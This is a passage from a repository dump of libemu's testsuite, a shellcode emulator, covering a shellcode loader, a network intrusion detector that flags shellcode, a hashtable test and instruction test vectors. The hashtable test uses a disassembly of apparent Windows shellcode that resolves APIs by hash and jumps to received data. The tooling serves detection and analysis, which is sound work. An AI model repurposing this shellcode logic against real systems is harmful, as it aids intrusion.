buffer[BUFSIZ];\n\t\tint ret, eof=0;\n\t\tint16_t bytes_read=0;\n\t\tuint32_t len=0;\n\t\tfd_set read_fds;\n\t\tstruct timeval st;\n\n\t\twhile ( !eof )\n\t\t{\n\t\t\tFD_ZERO(&read_fds);\n\t\t\tFD_SET(STDIN_FILENO, &read_fds);\n\n\t\t\tst.tv_sec  = 10;\n\t\t\tst.tv_usec = 0;\n\n\t\t\tswitch ( ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &st) )\n\t\t\t{\n\t\t\tcase -1:\n\t\t\t\tfprintf(stderr, \"Error with select(): %s.\\n\", strerror(errno));\n\t\t\t\texit(1);\n\t\t\tcase  0:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif ( FD_ISSET(STDIN_FILENO, &read_fds) )\n\t\t\t\t{\n\t\t\t\t\tif ( (bytes_read = read(STDIN_FILENO, buffer, BUFSIZ)) <= 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( bytes_read == 0 ) eof = 1;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfprintf(stderr, \"Error while reading data: %s.\\n\", strerror(errno));\n\t\t\t\t\t\t\texit(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( !eof )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( (scode = (unsigned char *) realloc(scode, len+bytes_read)) == NULL )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfprintf(stderr, \"Error while allocating memory: %s.\\n\", strerror(errno));\n\t\t\t\t\t\t\texit(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmemcpy(scode+len, buffer, bytes_read);\n\t\t\t\t\t\tlen += bytes_read;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tsize = len;\n\t}else\n\t{\n\t\tprintf(\"reading from file %s\\n\", argv[optind]);\n\t\tFILE *f;\n\t\tif (( f = fopen(argv[optind],\"r\")) == NULL)\n\t\t\tperror(\"could not open file\");\n\n\t\tint16_t bytes_read=0;\n\t\tuint32_t len=0;\n\n\t\twhile (feof(f) == 0)\n\t\t{\n\t\t\tunsigned buffer[BUFSIZ];\n\t\t\tbytes_read = fread(buffer, 1, 1, f);\n//\t\t\tprintf(\"read %i bytes %s %i\\n\", bytes_read, strerror(errno), ferror(f));\n\t\t\tif ( (scode = (unsigned char *) realloc(scode, len+bytes_read)) == NULL )\n\t\t\t{\n\t\t\t\tfprintf(stderr, \"Error while allocating memory: %s.\\n\", strerror(errno));\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tmemcpy(scode+len, buffer, bytes_read);\n\t\t\tlen += bytes_read;\n\t\t}\n\t\tprintf(\"read %i bytes\\n\", len);\n\t\tint i;\n\t\tfor (i=0;i<len;i++)\n\t\t{\n\t\t\tprintf(\"%02x \", scode[i]);\n\t\t}\n\t\tsize = len;\n\t}\n\n\n\tstruct emu *e = emu_new();\n\tfor ( i=0;i<8;i++ )\n\t{\n\t\temu_cpu_reg32_set(emu_cpu_get(e), i , opt.regs[i]);\n\t}\n\n\temu_log_level_set(emu_logging_get(e), EMU_LOG_DEBUG);\n\n\n\tstruct emu_memory *mem = emu_memory_get(e);\n\tint static_offset = 4711;\n\tfor( i = 0; i < size; i++ )\n\t{\n\t\temu_memory_write_byte(mem, static_offset+i, scode[i]);\n\t}\n\temu_memory_write_byte(mem, static_offset+i, '\\xcc');\n\n\temu_cpu_eip_set(emu_cpu_get(e), static_offset);\n\temu_cpu_run(emu_cpu_get(e));\n\n\temu_free(e);\n\n\n\treturn 0;\n}\n"
  },
  {
    "path": "testsuite/emunids.c",
    "content": "/*         \n *               emunids\n *\n *   emulation based network intrusion system\n *\n *   Markus Koetter 2007\n *\n *   gcc -Wall -I/opt/libemu/include/ -L/opt/libemu/lib/libemu -o printall printall.c -lnids -lemu\n *\n *\n */\n\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <netinet/in_systm.h>\n#include <arpa/inet.h>\n#include <string.h>\n#include <stdio.h>\n#include \"nids.h\"\n#include <pcap.h>\n#include <emu/emu.h>\n#include <emu/emu_shellcode.h>\n#include <emu/emu_memory.h>\n\n\n#define int_ntoa(x)\tinet_ntoa(*((struct in_addr *)&x))\n\n\nstruct emu *emu;\nstruct ip;\n\nchar *adres (struct tuple4 addr)\n{\n\tstatic char buf[256];\n\tstrcpy (buf, int_ntoa (addr.saddr));\n\tsprintf (buf + strlen (buf), \":%i <-> \", addr.source);\n\tstrcat (buf, int_ntoa (addr.daddr));\n\tsprintf (buf + strlen (buf), \":%i\", addr.dest);\n\treturn buf;\n}\n\n\nvoid tcp_callback (struct tcp_stream *a_tcp, void ** this_time_not_needed)\n{\n//\tchar buf[1024];\n//\tstrcpy (buf, adres (a_tcp->addr)); // we put conn params into buf\n\n\tif ( a_tcp->nids_state == NIDS_JUST_EST )\n\t{\n\t\ta_tcp->client.collect++; \n\t\ta_tcp->client.collect_urg++; \n\n\t\ta_tcp->server.collect++; \t\t\t\t\t\t  \n\t\ta_tcp->server.collect_urg++; \n\n//\t\tfprintf (stderr, \"%s established\\n\", buf);\n\t}/* else\n\tif ( a_tcp->nids_state == NIDS_CLOSE )\n\t{\n\t\tfprintf (stderr, \"%s closing\\n\", buf);\n\t}else\n\tif ( a_tcp->nids_state == NIDS_RESET )\n\t{\n\t\tfprintf (stderr, \"%s reset\\n\", buf);\n\t} */ else\n\tif ( a_tcp->nids_state == NIDS_DATA )\n\t{\n\n\t\tstruct half_stream *hlf;\n\t\tchar *data;\n\t\tint size;\n\n\t\tif ( a_tcp->server.count_new_urg || a_tcp->server.count_new )\n\t\t{\n\t\t\thlf = &a_tcp->server;\n\t\t}else\n\t\tif ( a_tcp->client.count_new_urg ||  a_tcp->client.count_new )\n\t\t{\n\t\t\thlf = &a_tcp->client;\n\t\t}else\n\t\t{\n\t\t\treturn;\n\t\t}\n\n        size = hlf->count - hlf->offset;\n\t\tdata = hlf->data;\n\n//\t\tprintf(\"size is %i\\n\", size);\n//\t\tprintf(\"count %i offset %i size %i\\n\",hlf->count, hlf->offset, size);\n\n\t\tif ( emu_shellcode_test(emu, (uint8_t *)data, size) >= 0 )\n\t\t{\n\t\t\tfprintf(stderr, \"suspecting shellcode in connection %s\\n\", adres(a_tcp->addr));\n\t\t}\n\n\t\tif (size > 2048)\n\t\t\tnids_discard(a_tcp, abs(2048-size));\n\t\t\n\t\temu_memory_clear(emu_memory_get(emu));\n\t}\n\n\treturn ;\n}\n\nvoid xlog(int type, int err, struct ip *iph, void *data)\n{\n\tchar *nids_warnings[] = {\n\t\t\"Murphy - you never should see this message !\",\n\t\t\"Oversized IP packet\",\n\t\t\"Invalid IP fragment list: fragment over size\",\n\t\t\"Overlapping IP fragments\",\n\t\t\"Invalid IP header\",\n\t\t\"Source routed IP frame\",\n\t\t\"Max number of TCP streams reached\",\n\t\t\"Invalid TCP header\",\n\t\t\"Too much data in TCP receive queue\",\n\t\t\"Invalid TCP flags\"\n\t};\n\n\tif (type != NIDS_WARN_SCAN)\n\t{\n    \tprintf(\"%s\\n\", nids_warnings[err]);\n\t}\n}\n\nint main (int argc, const char *argv[])\n{\n\tif (argc == 1)\n\t{\n\t\tprintf(\"useage %s <device>\\n\", argv[0]);\n\t\treturn -1;\n\t}else\n\t{\n\t\tprintf(\"listening on device %s\\n\", argv[1]);\n\t}\n\n\temu = emu_new();\n\n\n\tnids_params.device = strdup(argv[1]);;\n\tnids_params.syslog = xlog;\n\tif ( !nids_init () )\n\t{\n\t\tfprintf(stderr,\"%s\\n\",nids_errbuf);\n\t\texit(1);\n\t}\n\n\t// disable checksumming as host may calculate the checksum on the nic in hardware\n\tstruct nids_chksum_ctl disable_checksums;\n\tdisable_checksums.netaddr = 0;\n\tdisable_checksums.mask    = 0;\n\tdisable_checksums.action  = NIDS_DONT_CHKSUM;\n\n\tnids_register_chksum_ctl(&disable_checksums,1);\n\n\tnids_register_tcp (tcp_callback);\n\tnids_run ();\n\n\n\temu_free(emu);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "testsuite/hashtest.c",
    "content": "#include <stdio.h>\n#include <string.h>\n\n#include <emu/emu_hashtable.h>\n\nstruct addr_instr\n{\n\tuint32_t addr;\n\tconst char *instr;\n};\n\n\nstruct addr_instr insert_data[] = \n{\n\t{ 0x0012fc90, \"sub esp,0x20\"},\n\t{ 0x0012fc93, \"mov ebp,esp\"},\n\t{ 0x0012fc95, \"mov [ebp+0x4],ebx\"},\n\t{ 0x0012fc98, \"mov [ebp+0x0],edi\"},\n\t{ 0x0012fc9b, \"sub esp,0x200\"},\n\t{ 0x0012fca1, \"mov [ebp+0x14],esp\"},\n\t{ 0x0012fca4, \"xor ebx,ebx\"},\n\t{ 0x0012fca6, \"mov eax,fs:[ebx+0x30]\"},\n\t{ 0x0012fcaa, \"mov eax,[eax+0xc]\"},\n\t{ 0x0012fcad, \"mov esi,[eax+0x1c]\"},\n\t{ 0x0012fcb0, \"lodsd \"},\n\t{ 0x0012fcb1, \"mov edi,[eax+0x8]\"},\n\t{ 0x0012fcb4, \"mov [ebp+0x8],edi\"},\n\t{ 0x0012fcb7, \"call 0x4a\"},\n\t{ 0x0012fcbc, \"push ebx\"},\n\t{ 0x0012fcbd, \"push esi\"},\n\t{ 0x0012fcbe, \"mov ebx,[edi+0x3c]\"},\n\t{ 0x0012fcc1, \"mov ebx,[ebx+edi+0x78]\"},\n\t{ 0x0012fcc5, \"add ebx,edi\"},\n\t{ 0x0012fcc7, \"push ebx\"},\n\t{ 0x0012fcc8, \"mov ebx,[ebx+0x20]\"},\n\t{ 0x0012fccb, \"add ebx,edi\"},\n\t{ 0x0012fccd, \"push ebx\"},\n\t{ 0x0012fcce, \"add ebx,0x4\"},\n\t{ 0x0012fcd1, \"mov esi,[ebx]\"},\n\t{ 0x0012fcd3, \"add esi,edi\"},\n\t{ 0x0012fcd5, \"xor ecx,ecx\"},\n\t{ 0x0012fcd7, \"lodsb \"},\n\t{ 0x0012fcd8, \"xor cl,al\"},\n\t{ 0x0012fcda, \"rol ecx,0x5\"},\n\t{ 0x0012fcdd, \"test al,al\"},\n\t{ 0x0012fcdf, \"jnz 0xfffffff8\"},\n\t{ 0x0012fce1, \"sub ecx,edx\"},\n\t{ 0x0012fce3, \"jnz 0xffffffeb\"},\n\t{ 0x0012fd01, \"pop esi\"},\n\t{ 0x0012fd02, \"push dword\"},\n\t{ 0x0012fd07, \"push dword\"},\n\t{ 0x0012fd0c, \"push esp\"},\n\t{ 0x0012fd0d, \"mov edx,0x84046e92\"},\n\t{ 0x0012fd12, \"call esi\"},\n\t{ 0x00402002, \"nop \"},\n\t{ 0x00402003, \"nop \"},\n\t{ 0x00402004, \"nop \"},\n\t{ 0x00402005, \"jmp 0x6\"},\n\t{ 0x0040200b, \"nop \"},\n\t{ 0x0040200c, \"nop \"},\n\t{ 0x0040200d, \"nop \"},\n\t{ 0x0040200e, \"nop \"},\n\t{ 0x0040200f, \"nop \"},\n\t{ 0x00402010, \"nop \"},\n\t{ 0x00402011, \"nop \"},\n\t{ 0x00402012, \"nop \"},\n\t{ 0x00402013, \"jmp 0x6\"},\n\t{ 0x00402019, \"nop \"},\n\t{ 0x0040201a, \"nop \"},\n\t{ 0x0040201b, \"jmp 0x6\"},\n\t{ 0x00402021, \"nop \"},\n\t{ 0x00402022, \"nop \"},\n\t{ 0x00402023, \"nop \"},\n\t{ 0x00402024, \"nop \"},\n\t{ 0x00402025, \"nop \"},\n\t{ 0x00402026, \"nop \"},\n\t{ 0x00402027, \"nop \"},\n\t{ 0x00402028, \"nop \"},\n\t{ 0x00402029, \"nop \"},\n\t{ 0x0040202a, \"nop \"},\n\t{ 0x0040202b, \"nop \"},\n\t{ 0x0040202c, \"nop \"},\n\t{ 0x0040202d, \"nop \"},\n\t{ 0x0040202e, \"nop \"},\n\t{ 0x0040202f, \"nop \"},\n\t{ 0x00402030, \"nop \"},\n\t{ 0x00402031, \"nop \"},\n\t{ 0x00402032, \"nop \"},\n\t{ 0x00402033, \"nop \"},\n\t{ 0x00402034, \"nop \"},\n\t{ 0x00402035, \"jmp 0x17\"},\n\t{ 0x00402037, \"mov ecx,0x4113e68b\"},\n\t{ 0x0040203c, \"xor ecx,0x4113e64d\"},\n\t{ 0x00402042, \"pop esi\"},\n\t{ 0x00402043, \"xor byte\"},\n\t{ 0x00402048, \"loop 0xfffffffb\"},\n\t{ 0x0040204a, \"jmp 0x7\"},\n\t{ 0x0040204c, \"call 0xffffffeb\"},\n\t{ 0x00402051, \"xor ebx,ebx\"},\n\t{ 0x00402053, \"mov eax,fs:[ebx+0x30]\"},\n\t{ 0x00402057, \"mov eax,[eax+0xc]\"},\n\t{ 0x0040205a, \"mov esi,[eax+0x1c]\"},\n\t{ 0x0040205d, \"lodsd \"},\n\t{ 0x0040205e, \"mov edi,[eax+0x8]\"},\n\t{ 0x00402061, \"call 0x4a\"},\n\t{ 0x00402066, \"push ebx\"},\n\t{ 0x00402067, \"push esi\"},\n\t{ 0x00402068, \"mov ebx,[edi+0x3c]\"},\n\t{ 0x0040206b, \"mov ebx,[ebx+edi+0x78]\"},\n\t{ 0x0040206f, \"add ebx,edi\"},\n\t{ 0x00402071, \"push ebx\"},\n\t{ 0x00402072, \"mov ebx,[ebx+0x20]\"},\n\t{ 0x00402075, \"add ebx,edi\"},\n\t{ 0x00402077, \"push ebx\"},\n\t{ 0x00402078, \"add ebx,0x4\"},\n\t{ 0x0040207b, \"mov esi,[ebx]\"},\n\t{ 0x0040207d, \"add esi,edi\"},\n\t{ 0x0040207f, \"xor ecx,ecx\"},\n\t{ 0x00402081, \"lodsb \"},\n\t{ 0x00402082, \"xor cl,al\"},\n\t{ 0x00402084, \"rol ecx,0x5\"},\n\t{ 0x00402087, \"test al,al\"},\n\t{ 0x00402089, \"jnz 0xfffffff8\"},\n\t{ 0x0040208b, \"sub ecx,edx\"},\n\t{ 0x0040208d, \"jnz 0xffffffeb\"},\n\t{ 0x0040208f, \"pop eax\"},\n\t{ 0x00402090, \"sub ebx,eax\"},\n\t{ 0x00402092, \"shr ebx,0x1\"},\n\t{ 0x00402094, \"pop esi\"},\n\t{ 0x00402095, \"add ebx,[esi+0x24]\"},\n\t{ 0x00402098, \"add ebx,edi\"},\n\t{ 0x0040209a, \"mov cx,[ebx]\"},\n\t{ 0x0040209d, \"mov ebx,[esi+0x1c]\"},\n\t{ 0x004020a0, \"add ebx,edi\"},\n\t{ 0x004020a2, \"mov eax,[ebx+ecx*4]\"},\n\t{ 0x004020a5, \"add eax,edi\"},\n\t{ 0x004020a7, \"pop esi\"},\n\t{ 0x004020a8, \"pop ebx\"},\n\t{ 0x004020a9, \"jmp eax\"},\n\t{ 0x004020ab, \"pop esi\"},\n\t{ 0x004020ac, \"push dword\"},\n\t{ 0x004020b1, \"push dword\"},\n\t{ 0x004020b6, \"push esp\"},\n\t{ 0x004020b7, \"mov edx,0x84046e92\"},\n\t{ 0x004020bc, \"call esi\"},\n\t{ 0x004020be, \"mov edi,eax\"},\n\t{ 0x004020c0, \"sub esp,0x200\"},\n\t{ 0x004020c6, \"mov ebp,esp\"},\n\t{ 0x004020c8, \"push ebx\"},\n\t{ 0x004020c9, \"push byte\"},\n\t{ 0x004020cb, \"push byte\"},\n\t{ 0x004020cd, \"mov edx,0x835383\"},\n\t{ 0x004020d2, \"call esi\"},\n\t{ 0x004020d4, \"push ebx\"},\n\t{ 0x004020d5, \"push ebx\"},\n\t{ 0x004020d6, \"push ebx\"},\n\t{ 0x004020d7, \"push dword\"},\n\t{ 0x004020dc, \"mov edx,esp\"},\n\t{ 0x004020de, \"mov ebx,eax\"},\n\t{ 0x004020e0, \"push byte\"},\n\t{ 0x004020e2, \"push edx\"},\n\t{ 0x004020e3, \"push ebx\"},\n\t{ 0x004020e4, \"mov edx,0xc2a69000\"},\n\t{ 0x004020e9, \"call esi\"},\n\t{ 0x004020eb, \"inc eax\"},\n\t{ 0x004020ec, \"push eax\"},\n\t{ 0x004020ed, \"push ebx\"},\n\t{ 0x004020ee, \"mov edx,0xa1733b7a\"},\n\t{ 0x004020f3, \"call esi\"},\n\t{ 0x004020f5, \"push eax\"},\n\t{ 0x004020f6, \"push eax\"},\n\t{ 0x004020f7, \"push ebx\"},\n\t{ 0x004020f8, \"mov edx,0x69d310\"},\n\t{ 0x004020fd, \"call esi\"},\n\t{ 0x004020ff, \"mov ebx,eax\"},\n\t{ 0x00402101, \"xor eax,eax\"},\n\t{ 0x00402103, \"push eax\"},\n\t{ 0x00402104, \"mov ah,0x2\"},\n\t{ 0x00402106, \"push eax\"},\n\t{ 0x00402107, \"push ebp\"},\n\t{ 0x00402108, \"push ebx\"},\n\t{ 0x00402109, \"mov edx,0xe2605800\"},\n\t{ 0x0040210e, \"call esi\"},\n\t{ 0x00402110, \"mov edi,0x72c6e0d5\"},\n\t{ 0x00402115, \"jmp ebp\"}\n};\n\nstruct addr_instr dup_data[] = \n{\n\t{ 0x0012fc90, \"fox\"},\n\t{ 0x0012fc90, \"foo\"},\n\t{ 0x0012fc90, \"bar\"},\n\t{ 0x0012fc90, \"baz\"},\n\t{ 0x0012fc90, \"success\"}\n};\n\n\nint main(void)\n{\n\tstruct emu_hashtable *eh = emu_hashtable_new(4095, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp);\n\tint i;\n\tfor (i=0;i<sizeof(insert_data)/sizeof(struct addr_instr);i++)\n\t{\n\t\temu_hashtable_insert(eh, (void *)(uintptr_t)insert_data[i].addr, (void *)(uintptr_t)insert_data[i].instr);\n\t}\n\n\n\tstruct emu_hashtable_item *ehi;\n\tfor (i=0;i<sizeof(insert_data)/sizeof(struct addr_instr);i++)\n\t{\n\t\tehi = emu_hashtable_search(eh, (void *)(uintptr_t)insert_data[i].addr);\n\n\t\tif (strcmp(insert_data[i].instr, (char *)ehi->value) != 0 )\n\t\t{\n\t\t\tprintf(\"mismatch %x %s %s\\n\", insert_data[i].addr, insert_data[i].instr, \n\t\t\t\t   (char *)(ehi->value));\n\t\t\treturn -1;\n\t\t}\n\n\t}\n\n\tfor (i=0;i<sizeof(dup_data)/sizeof(struct addr_instr);i++)\n\t{\n\t\temu_hashtable_insert(eh, (void *)(uintptr_t)dup_data[i].addr, (void *)dup_data[i].instr);\n\t}\n\n\tehi = emu_hashtable_search(eh, (void *)0x0012fc90);\n\tif (ehi != NULL)\n\t{\n\t\tprintf(\"%s\\n\", (char *)ehi->value);\n\t}\n\n//\tprintf(\"success\\n\");\n//\temu_hashtable_free(eh);\n\n//\teh = emu_hashtable_double_new(4095, double_hash1\n\n\treturn 0;\n}\n"
  },
  {
    "path": "testsuite/instrtest.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include <sys/select.h>\n#include <unistd.h>\n#include <stdio.h>\n\n#ifndef _GNU_SOURCE\n#define _GNU_SOURCE\n#endif\n#include <getopt.h>\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#define CODE_OFFSET 0x417001\n\n#define FAILED \"\\033[31;1mfailed\\033[0m\"\n#define SUCCESS \"\\033[32;1msuccess\\033[0m\"\n\n#define F(x) (1 << (x))\n\n\nstatic struct run_time_options\n{\n\tint verbose;\n\tint nasm_force;\n\tuint32_t steps;\n\tint testnumber;\n} opts;\n\nstatic const char *regm[] = {\n\t\"eax\", \"ecx\", \"edx\", \"ebx\", \"esp\", \"ebp\", \"esi\", \"edi\"\n};\n\n\n\t                         /* 0     1     2     3      4       5       6     7 */\nstatic const char *flags[] = { \"CF\", \"  \", \"PF\", \"  \" , \"AF\"  , \"    \", \"ZF\", \"SF\", \n\t                           \"TF\", \"IF\", \"DF\", \"OF\" , \"IOPL\", \"IOPL\", \"NT\", \"  \",\n\t                           \"RF\", \"VM\", \"AC\", \"VIF\", \"RIP\" , \"ID\"  , \"  \", \"  \",\n\t                           \"  \", \"  \", \"  \", \"   \", \"    \", \"    \", \"  \", \"  \"};\n\n\nstruct instr_test\n{\n\tconst char *instr;\n\n\tchar  *code;\n\tuint16_t codesize;\n\n\tstruct \n\t{\n\t\tuint32_t reg[8];\n\t\tuint32_t\t\tmem_state[2];\n\t\tuint32_t\teflags;\n\t} in_state;\n\n\tstruct \n\t{\n\t\tuint32_t reg[8];\n\t\tuint32_t\t\tmem_state[2];\n\t\tuint32_t\teflags;\n\t\tuint32_t eip;\n\t} out_state;\n};\n\n#define FLAG(fl) (1 << (fl))\n\nstruct instr_test tests[] = \n{\n\n/*  {\n        .instr = \"instr\",\n        .in_state.reg  = {0,0,0,0,0,0,0,0 },\n        .in_state.mem_state = {0, 0},\n        .out_state.reg  = {0,0,0,0,0,0,0,0 },\n        .out_state.mem_state = {0, 0},\n    },*/\n\n\t/*{\n\t\t.instr = \"\",\n\t\t.code =  \n\t\t.codesize = 344,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},*/\n\n\n\t/* 00 */\n\t{\n\t\t.instr = \"add ah,al\",\n\t\t.code = \"\\x00\\xc4\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0xff01,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x01,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags = FLAG(f_cf) | FLAG(f_pf) | FLAG(f_zf),\n\t},\n\t{\n\t\t.instr = \"add ch,dl\",\n\t\t.code = \"\\x00\\xd5\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0x1000,0x20,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0x3000,0x20,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"add [ecx],al\",\n\t\t.code = \"\\x00\\x01\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x10,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x10101010},\n\t\t.out_state.reg  = {0x10,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x10101020},\n\t},\n\t/* 01 */\n\t{\n\t\t.instr = \"add ax,cx\",\n\t\t.code = \"\\x66\\x01\\xc8\",\n\t\t.codesize = 3,\n\t\t.in_state.reg  = {0xffff1111,0xffff2222,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0xffff3333,0xffff2222,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"add [ecx],ax\",\n\t\t.code = \"\\x66\\x01\\x01\",\n\t\t.codesize = 3,\n\t\t.in_state.reg  = {0xffff1111,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x22224444},\n\t\t.out_state.reg  = {0xffff1111,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x22225555},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"add eax,ecx\",\n\t\t.code = \"\\x01\\xc8\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x11112222,0x22221111,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x33333333,0x22221111,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"add [ecx],eax\",\n\t\t.code = \"\\x01\\x01\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x22221111,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x22224444},\n\t\t.out_state.reg  = {0x22221111,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44445555},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t/* 02 */\n\t{\n\t\t.instr = \"add cl,bh\",\n\t\t.code = \"\\x02\\xcf\",\t/* add cl,bh */\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0xff,0,0x100,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0,0,0x100,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_cf) | FLAG(f_pf) | FLAG(f_zf), \n\t},\n\t{\n\t\t.instr = \"add al,[ecx]\",\n\t\t.code = \"\\x02\\x01\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x3,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x30303030},\n\t\t.out_state.reg  = {0x33,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x30303030},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t/* 03 */\n\t{\n\t\t.instr = \"add cx,di\",\n\t\t.code = \"\\x66\\x03\\xcf\",\t/* add cx,di */\n\t\t.codesize = 3,\n\t\t.in_state.reg  = {0,0x10101010,0,0,0,0,0,0x02020202},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0x10101212,0,0,0,0,0,0x02020202},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"add ax,[ecx]\",\n\t\t.code = \"\\x66\\x03\\x01\",\n\t\t.codesize = 3,\n\t\t.in_state.reg  = {0x11112222,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.reg  = {0x11115555,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"add ecx,edi\",\n\t\t.code = \"\\x03\\xcf\",\t/* add ecx,edi */\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0x10101010,0,0,0,0,0,0x02020202},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0x12121212,0,0,0,0,0,0x02020202},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"add eax,[ecx]\",\n\t\t.code = \"\\x03\\x01\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x11112222,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.reg  = {0x55555555,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"add ecx,[ebx+eax*4+0xdeadbeef]\",\n\t\t.code = \"\\x03\\x8c\\x83\\xef\\xbe\\xad\\xde\",\n\t\t.codesize = 7,\n\t\t.in_state.reg  = {0x2,0x1,0,0x1,0,0,0,0},\n\t\t.in_state.mem_state = {0xdeadbef8, 0x44443333},\n\t\t.out_state.reg  = {0x2,0x44443334,0,0x1,0,0,0,0},\n\t\t.out_state.mem_state = {0xdeadbef8, 0x44443333},\n\t},\n\t/* 04 */\n\t{\n\t\t.instr = \"add al,0x11\",\n\t\t.code = \"\\x04\\x11\",\n\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x22222233,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t/* 05 */\n\t{\n\t\t.instr = \"add ax,0x1111\",\n\t\t.code = \"\\x66\\x05\\x11\\x11\",\n\t\t.codesize = 4,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x22223333,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"add eax,0x11111111\",\n\t\t.code = \"\\x05\\x11\\x11\\x11\\x11\",\n\t\t.codesize = 5,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x33333333,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  